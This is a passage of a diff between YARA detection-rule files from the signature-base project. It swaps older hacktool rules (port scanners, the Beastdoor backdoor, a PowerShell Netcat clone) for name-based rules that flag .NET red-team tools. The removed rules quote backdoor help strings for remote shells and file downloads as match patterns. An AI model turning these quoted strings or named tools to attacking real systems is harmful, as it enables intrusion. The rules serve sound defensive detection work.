+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Proport_Zip_Folder_Proport
+rule SIGNATURE_BASE_HKTL_NET_NAME_Wmipersistence : FILE
 {
 	meta:
-		description = "Auto-generated rule on file ProPort.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "cd611f6c-42ed-5cd3-a6ab-7e0970925e61"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "7a674596-c697-569d-a16c-3cefe4ff752a"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L377-L394"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c1937a86939d4d12d10fc44b7ab9ab27"
-		logic_hash = "0ee2ffc5ed243d170b8013b3a164a3719f43bd473f4af7e1a2697d88a298fe9f"
+		reference = "https://github.com/mdsecactivebreach/WMIPersistence"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L18-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f8f5e1b6d9b9e8e2f76a7e02385142bbeb755d1b1e41e501f4f74fcaba0a7dad"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Corrupt Data!"
-		$s1 = "K4p~omkIz"
-		$s2 = "DllTrojanScan"
-		$s3 = "GetDllInfo"
-		$s4 = "Compressed by Petite (c)1999 Ian Luck."
-		$s5 = "GetFileCRC32"
-		$s6 = "GetTrojanNumber"
-		$s7 = "TFAKAbout"
+		$name = "WMIPersistence" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Stealthwasp_S_Basic_Portscanner_V1_2
+rule SIGNATURE_BASE_HKTL_NET_Adcollector_Sep22_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "7f706186-f2e2-5d4d-951a-2ec8fc757cec"
-		date = "2023-12-05"
+		description = "Detects ADCollector Tool - a lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending"
+		author = "Florian Roth (Nextron Systems)"
+		id = "48b376e4-752b-523e-b34e-65b6944c33fb"
+		date = "2022-09-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L396-L407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7c0f2cab134534cd35964fe4c6a1ff00"
-		logic_hash = "b01c165b5e5be3ba6905e8bc44a14c3d7195effd058e4c0c31678777d19db8b5"
+		reference = "https://github.com/dev-2null/ADCollector"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L55-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "66d5363e885378c442e7532f69d4c36618d7a0f5dbe67490631d1ed5078d3fba"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "241390219a0a773463601ca68b77af97453c20af00a66492a7a78c04d481d338"
+		hash2 = "cc086eb7316e68661e3d547b414890d5029c5cc460134d8b628f4b0be7f27fb3"
 
 	strings:
-		$s1 = "Basic PortScanner"
-		$s6 = "Now scanning port:"
+		$x1 = "ADCollector.exe --SPNs --Term key --Acls 'CN=Domain Admins,CN=Users,DC=lab,DC=local'" wide fullword
+		$s1 = "ADCollector.exe" wide fullword
+		$s2 = "ENCRYPTED_TEXT_PASSWORD_ALLOWED" ascii fullword
+		$s3 = "\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" wide
+		$s4 = "[-] Password Does Not Expire Accounts:" wide
+		$s5 = "  * runAs:       {0}" wide fullword
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and (1 of ($x*) or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bluesportscan
+rule SIGNATURE_BASE_HKTL_NET_NAME_Maliciousclickoncegenerator : FILE
 {
 	meta:
-		description = "Auto-generated rule on file BluesPortScan.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "4bcb8b7c-5e22-5496-9a29-66e85e3c3395"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "683af3b4-4c91-5ff3-96bf-d5c1d9c19cc2"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L409-L420"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6292f5fc737511f91af5e35643fc9eef"
-		logic_hash = "5cb4e4b87eaf166c85d23114f5abc10ef83b4a29968bf6fef4b3fce7ff2787fd"
+		reference = "https://github.com/Mr-Un1k0d3r/MaliciousClickOnceGenerator"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L77-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "91e5878d49ad9af5420d4e29afaa600337fb8051951598a997cd74d72c884206"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "This program was made by Volker Voss"
-		$s1 = "JiBOo~SSB"
+		$name = "MaliciousClickOnceGenerator" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Scanarator_Iis
+rule SIGNATURE_BASE_HKTL_NET_NAME_Directinjectorpoc : FILE
 {
 	meta:
-		description = "Auto-generated rule on file iis.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "a467147b-53c8-53db-aa33-5f0e4e066988"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "d9a430d7-b062-554b-aff4-cfd98d91e9fe"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L422-L433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
-		logic_hash = "092cb902e10624b207b7932e6b3c1fe2277ed1d183e5de9ee4d07d8548e90ab6"
+		reference = "https://github.com/badBounty/directInjectorPOC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L92-L105"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ffdc5694668af6c82b493403373d2e2e915e45bca8d58ec1ab41c5a8bd28d781"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "example: iis 10.10.10.10"
-		$s1 = "send error"
+		$name = "directInjectorPOC" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Stealth_Stealth
+rule SIGNATURE_BASE_HKTL_NET_NAME_Asstrongasfuck : FILE
 {
 	meta:
-		description = "Auto-generated rule on file Stealth.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "5f45882e-3e27-596d-8725-fad380e1c297"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "4c63c8a2-5889-5177-9f66-8e5f755025a3"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L435-L446"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
-		logic_hash = "e210b1a553549c22f66511dfc9d0d3f5b17f02981b9e9915827bc909f34b3262"
+		reference = "https://github.com/Charterino/AsStrongAsFuck"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L107-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4765f2099bf8fa8ebccd8cdcc561354f4aeba28c2473fd8556f1ef1d5d28dadd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
-		$s6 = "This tool may be used only by system administrators. I am not responsible for "
+		$name = "AsStrongAsFuck" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Angry_IP_Scanner_V2_08_Ipscan
+rule SIGNATURE_BASE_HKTL_NET_NAME_Magentoscanner : FILE
 {
 	meta:
-		description = "Auto-generated rule on file ipscan.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "5fbcbb95-6cd4-5587-bf44-5b5ed133ce5e"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "db3912bd-574c-57e2-a9b6-4b440d144471"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L448-L460"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70cf2c09776a29c3e837cb79d291514a"
-		logic_hash = "1b50856ad35c146a684298a86f1629c45996ab08ffae8486a388805262ec2367"
+		reference = "https://github.com/soufianetahiri/MagentoScanner"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L122-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "245dce3be07c8e84dfcd2cdb2d9f24406a9b11b437e74969f1472a6ee149fd9c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$s0 = "_H/EnumDisplay/"
-		$s5 = "ECTED.MSVCRT0x"
-		$s8 = "NotSupported7"
+	strings:
+		$name = "MagentoScanner" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Crack_Loader
+rule SIGNATURE_BASE_HKTL_NET_NAME_Revengerat_Stub_Cssharp : FILE
 {
 	meta:
-		description = "Auto-generated rule on file Loader.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "0c4c7b69-7739-5c1b-8c7c-4aaa724e4455"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "06dce4f9-4d7a-5976-a87a-07c539e5dbe8"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L462-L473"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
-		logic_hash = "3380ace7c34c15dfd9a9625c8c4a1ed7e35c1cf3c2eca9b1e00dd0092d256150"
+		reference = "https://github.com/NYAN-x-CAT/RevengeRAT-Stub-CSsharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L137-L150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3bd1f8e52e6ed468b6a4fea83456ca813b69e2d676dfab687bbea5a746fed3c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "NeoWait.exe"
-		$s1 = "RRRRRRRW"
+		$name = "RevengeRAT-Stub-CSsharp" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_GUI_Scanner
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpyshell : FILE
 {
 	meta:
-		description = "Detects an unknown GUI scanner tool - CN background"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ca88d4d3-5d18-5856-874f-e50deceef54f"
-		date = "2014-04-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "3069c5eb-446e-5bfa-9df0-2e03f229d4d1"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L475-L492"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3c67bbb1911cdaef5e675c56145e1112"
-		logic_hash = "f9281277ad7058527699d1f5037bb78be1363c90f38e2e399592c58f0b313bd7"
-		score = 65
+		reference = "https://github.com/antonioCoco/SharPyShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L152-L165"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "89d0010c08349f8982c7f5aa5f7855702556ce10f9f3b5b18b61349c5233e001"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "good.txt" fullword ascii
-		$s2 = "IP.txt" fullword ascii
-		$s3 = "xiaoyuer" fullword ascii
-		$s0w = "ssh(" wide
-		$s1w = ").exe" fullword wide
+		$name = "SharPyShell" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Packed_Scanner : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostloader : FILE
 {
 	meta:
-		description = "Suspiciously packed executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a11c4ee6-7244-5601-af26-a45f9fdc8e1b"
-		date = "2014-06-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "d8d88f3f-f250-55ff-88a6-4623e12ef89d"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L494-L510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
-		logic_hash = "0d9178ec65029e4ce8d4c3cc28ebd041c612f3a48f095b60c7a4515de03cccf4"
-		score = 40
-		quality = 83
+		reference = "https://github.com/TheWover/GhostLoader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L167-L180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "91527b4b35f2bb1aeee236647c5169c67f2b9cfb867f2b6d486bd8d8b7455d4b"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "kernel32.dll" fullword ascii
-		$s2 = "CRTDLL.DLL" fullword ascii
-		$s3 = "__GetMainArgs" fullword ascii
-		$s4 = "WS2_32.DLL" fullword ascii
+		$name = "GhostLoader" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them and filesize <180KB and filesize >70KB
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Tiny_Network_Tool_Generic : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetinject : FILE
 {
 	meta:
-		description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
-		author = "Florian Roth (Nextron Systems)"
-		id = "04b1c2c6-605c-52d5-aa07-f3b77a6c4593"
-		date = "2014-08-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L512-L545"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "efd04ee3a7bb120cdff00369e1856dd03ec9db84e1fb3196bf5e1a8ebd302802"
-		score = 40
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "468f89c4-5b94-53be-b9e6-ad21de7d98ba"
+		date = "2021-01-22"
+		modified = "2022-06-28"
+		reference = "https://github.com/dtrizna/DotNetInject"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L182-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "07ba4ba23372dbc2618dcea89ef643cd68371ace1116bfeb939b0f9adfc425bb"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
-		hash1 = "cafc31d39c1e4721af3ba519759884b9"
-		hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
 
 	strings:
-		$s0 = "KERNEL32.DLL" fullword ascii
-		$s1 = "CRTDLL.DLL" fullword ascii
-		$s3 = "LoadLibraryA" fullword ascii
-		$s4 = "GetProcAddress" fullword ascii
-		$y1 = "WININET.DLL" fullword ascii
-		$y2 = "atoi" fullword ascii
-		$x1 = "ADVAPI32.DLL" fullword ascii
-		$x2 = "USER32.DLL" fullword ascii
-		$x3 = "wsock32.dll" fullword ascii
-		$x4 = "FreeSid" fullword ascii
-		$x5 = "atoi" fullword ascii
-		$z1 = "ADVAPI32.DLL" fullword ascii
-		$z2 = "USER32.DLL" fullword ascii
-		$z3 = "FreeSid" fullword ascii
-		$z4 = "ToAscii" fullword ascii
+		$name = "DotNetInject" ascii wide
+		$compile = "AssemblyTitle" ascii wide
+		$fp1 = "GetDotNetInjector" ascii
+		$fp2 = "JetBrains.TeamCity.Injector." wide
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and ( all of ($y*) or all of ($x*) or all of ($z*)) and filesize <15KB
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and filesize <20MB and $name and $compile and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Beastdoor_Backdoor
+rule SIGNATURE_BASE_HKTL_NET_NAME_Atpminidump : FILE
 {
 	meta:
-		description = "Detects the backdoor Beastdoor"
-		author = "Florian Roth (Nextron Systems)"
-		id = "64f67233-6677-53c8-b212-f1a425f78803"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "97981569-fe94-5600-8319-946edb4265e7"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L547-L567"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
-		logic_hash = "35aa5d66c0fd4bf1995fc23a68283e8a28f31b5a1e1f3b742dd0ab89c48bf403"
-		score = 55
+		reference = "https://github.com/b4rtik/ATPMiniDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L204-L217"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7498ed5d11b9c3646ebd2d1330a239c43e9c5b270b1778871c2821a2fefb5137"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
-		$s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
-		$s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
-		$s7 = "Host: wwp.mirabilis.com:80" fullword
-		$s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
-		$s11 = "Shell                            -->Get A Shell" fullword
-		$s14 = "DeleteService ServiceName        -->Delete A Service" fullword
-		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
-		$s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword
+		$name = "ATPMiniDump" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Powershell_Netcat
+rule SIGNATURE_BASE_SUSP_NET_NAME_Confuserex : FILE
 {
 	meta:
-		description = "Detects a Powershell version of the Netcat network hacking tool"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4b018c0-3214-5102-93b1-6a048324f9dd"
-		date = "2014-10-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L569-L583"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff9d7c3e83fd27620559306c07556ce7afd1ba7a5db5f5c21ad0841d58b85014"
-		score = 60
+		description = "Detects ConfuserEx packed file"
+		author = "Arnim Rupp"
+		id = "f1bda14e-c9fe-5341-8962-691a66233eb0"
+		date = "2021-01-22"
+		modified = "2021-01-25"
+		reference = "https://github.com/yck1509/ConfuserEx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L219-L234"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "beecb7b66830a033e2048da246d320c1ffc5015b280b34fb61aee87c8a42fff3"
+		score = 40
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "[ValidateRange(1, 65535)]" fullword
-		$s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
-		$s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword
+		$name = "ConfuserEx" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Chinese_Hacktool_1014
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpbuster : FILE
 {
 	meta:
-		description = "Detects a chinese hacktool with unknown use"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e5db5f58-a1fd-51e0-9037-337fcca71f11"
-		date = "2014-10-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "d30c8ee5-88b9-53b5-b209-51f6f3b988cf"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L585-L602"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "98c07a62f7f0842bcdbf941170f34990"
-		logic_hash = "ffb1f653fd536a46dae4bf2c91c3c0582b703b8f0d33838b9736083e307a8e79"
-		score = 60
+		reference = "https://github.com/passthehashbrowns/SharpBuster"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L236-L249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cdc19e03f75f34e6349937c0bff313298fc9310f361eec7af022c450d083ad96"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
-		$s1 = "msctls_progress32" fullword wide
-		$s2 = "Reply-To: %s" fullword ascii
-		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
-		$s4 = "html htm htx asp" fullword ascii
+		$name = "SharpBuster" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Hacktool_BAT_Portsopen
+rule SIGNATURE_BASE_HKTL_NET_NAME_Amsibypass : FILE
 {
 	meta:
-		description = "Detects a chinese BAT hacktool for local port evaluation"
-		author = "Florian Roth (Nextron Systems)"
-		id = "55c3f678-ba70-5a4a-b288-9d0953eff968"
-		date = "2014-12-10"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "26db14d8-1034-5bd1-a719-4756c832901d"
+		date = "2021-01-22"
 		modified = "2023-12-05"
